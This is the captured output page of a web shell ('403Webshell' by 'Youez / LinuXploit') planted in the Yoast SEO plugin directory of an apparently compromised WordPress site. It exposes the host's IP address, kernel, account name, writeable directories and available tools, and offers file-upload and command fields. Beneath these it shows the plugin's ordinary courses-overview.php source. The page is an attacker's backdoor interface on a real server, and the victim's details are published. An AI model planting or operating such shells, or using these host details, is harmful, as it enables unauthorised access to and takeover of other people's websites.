403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/wordpress-seo/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/wordpress-seo/admin/courses-overview.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * This class handles enqueuing the required JS files for the courses overview.
 */
class WPSEO_Courses_Overview implements WPSEO_WordPress_Integration {

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		global $pagenow;
		$current_page = filter_input( INPUT_GET, 'page' );

		if ( $pagenow === 'admin.php' && $current_page === 'wpseo_courses' ) {
			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		}
	}

	/**
	 * Returns the Yoast SEO version the user currently is using.
	 *
	 * @return string The version: Free or Premium.
	 */
	private function get_version() {
		if ( WPSEO_Utils::is_yoast_seo_premium() ) {
			return 'premium';
		}

		return 'free';
	}

	/**
	 * Enqueue the relevant script.
	 *
	 * @return void
	 */
	public function enqueue_scripts() {
		wp_enqueue_script( WPSEO_Admin_Asset_Manager::PREFIX . 'courses-overview' );

		$localizations = array(
			'version' => $this->get_version(),
			'isRtl'   => is_rtl(),
		);
		wp_localize_script(
			WPSEO_Admin_Asset_Manager::PREFIX . 'courses-overview',
			'wpseoCoursesOverviewL10n',
			$localizations
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit